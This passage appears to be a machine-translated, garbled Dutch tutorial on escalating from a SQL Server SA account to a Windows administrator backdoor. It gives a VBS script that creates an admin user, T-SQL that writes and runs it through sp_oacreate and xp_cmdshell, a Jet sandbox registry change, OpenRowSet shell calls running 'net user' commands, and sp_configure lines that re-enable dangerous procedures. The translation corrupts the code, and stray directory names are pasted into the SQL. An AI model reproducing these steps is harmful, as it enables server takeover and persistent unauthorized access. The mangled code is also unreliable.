SA-wachtwoord om toegang te krijgen, vaak omdat de server administrator, of "voorgangers" zal Net.exe en net1.exe worden beperkingen op het gebruik, kan niet toevoegen van de administrator account. We weten dat VBS in Active Directory (ADSI) deel uit van een winnt object, gebruikt om lokale bronnen te beheren, gebruiken en kan dus niet beroepen op CMD commando kan een beheerder, specifieke code toe te voegen is als volgt:
set wsnetwork = CreateObject ("WSCRIPT.NETWORK")
os = "WinNT ://"& wsnetwork.ComputerName
Stel ob = GetObject (os) 'Haal ADSI interface, bindende
Stel oe = GetObject (OS & "/ Beheerders, groep") "eigendom, admin-groep
Stel od = ob.Create ("user", "test") "een gebruiker te maken
od.SetPassword "1234" 'Set Password
od.SetInfo 'Opslaan
Set van GetObject = (OS & "/ test", gebruiker) 'Haal de gebruiker
oe.add OS & "/ test"
De bovenstaande code 1.vbs om vervolgens op te slaan, het commando voor de "cscript 1.vbs", dus zal het systeem toe te voegen een systeem genaamd de test, de gebruiker is 1234. Specifieke implementatie van de code in Query Analyzer als volgt:
te verklaren @ o int, int f @, @ t int, int @ RET
exec sp_oacreate 'scripting.filesystemobject', @ o out
exec sp_oamethod @ o, 'CreateTextFile', @ f uit, "c: 1.vbs ', 1
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'set wsnetwork = CreateObject
("WSCRIPT.NETWORK") '
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'os = "WinNT ://"& wsnetwork.
Computernaam '
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'Set ob = GetObject (os)'
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'Set oe = GetObject
(Os & "/ Beheerders, groep") "
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'Set od = ob.Create
("Gebruiker", "test") '
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'od.SetPassword "1234"'
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'od.SetInfo'
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'Set = GetObject
(Os & "/ test", gebruiker) "
exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'oe.add OS & "/ test"'
Via de bovenstaande verklaring, dan is de uitvoering naar aanleiding van deze regel code, deze regel code in de uitvoering van bepaalde individuele, niet met de uitvoering van het bovenstaande en, anders zal prompt "C: 1.vbs wordt gerund door een ander programma" kan niet met succes toe te voegen van de gebruiker :
exec master .. xp_cmdshell 'cscript c: 1.vbs'
Als de gebruiker niet toe te voegen succesvol is, kan dit zijn omdat het systeem de gebruiker het wachtwoord van 1234 is te simpel, niet voldoet aan de complexe password policy server, overwegen meer gecompliceerde instellingen, en vervolgens te testen. U kunt ook gebruik maken van echo 1.vbs, de code-formaat te schrijven is:
exec master .. xp_cmdshell 'echo set wsnetwork = CreateObject ("WSCRIPT.NETWORK")
1.vbs '
Echter, weet niet waarom alles met "&" tekens in de command lijnen niet kan 1.vbs schrijven, geïnteresseerd in wat een vriend kan proberen op te lossen.
Met behulp van jet zand tafel model kan worden opgelost XP_cmdshell andere stored procedures en relevante dynamic link library ergernis. Om veiligheidsredenen is het systeem niet standaard op zand tafel model, dat vereist xp_regwrite open zand tafelmodel te openen:
Exec master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE", "SOFTWAREMicrosoftJet4.0
Engines ',' SandBoxMode "," REG_DWORD ", 1
Vervolgens voert het zand opdracht Tabel, het systeem voegt een gebruiker met de naam test, het wachtwoord voor de 1234 gebruikers:
back-up te selecteren bin conf config gegevens eshow_sitemap.html generate.sh log maint sitemap.html svn tmp uit OpenRowSet ('microsoft.jet.oledb.4.0', '; database = c: windows
system32iasias.mdb ',' Selecteer shell ("cmd.exe / c net user-test 1234 / toe te voegen ')")
back-up te selecteren bin conf config gegevens eshow_sitemap.html generate.sh log maint sitemap.html svn tmp uit OpenRowSet ('microsoft.jet.oledb.4.0', '; database = c: windows
system32iasias.mdb ',' Selecteer shell ("cmd.exe / c net localgroup
beheerders test / toe te voegen ') ")
Verschillende besturingssystemen, het pad is niet dezelfde behoefte om wijzigingen in de situatie te maken:
NT/2K: c: winntsystem32
XP/2003: c: windowssystem32
Een andere Microsoft SQL Server2005 in verzuim, het aantal opgeslagen procedure is afgesloten en vraagt om een commando te openen:
Open XP_cmdshell:
EXEC sp_configure 'Toon geavanceerde zoekopties', 1; opnieuw te configureren; EXEC sp_configure
'Xp_cmdshell', 1; opnieuw te configureren;
Open 'OPENROWSET':
exec sp_configure 'Toon geavanceerde zoekopties', 1; opnieuw te configureren; exec sp_configure
"Ad Hoc Distributed Query ', 1; opnieuw te configureren;
Open 'sp_oacreate':
exec sp_configure 'Toon geavanceerde zoekopties', 1; opnieuw te configureren; exec sp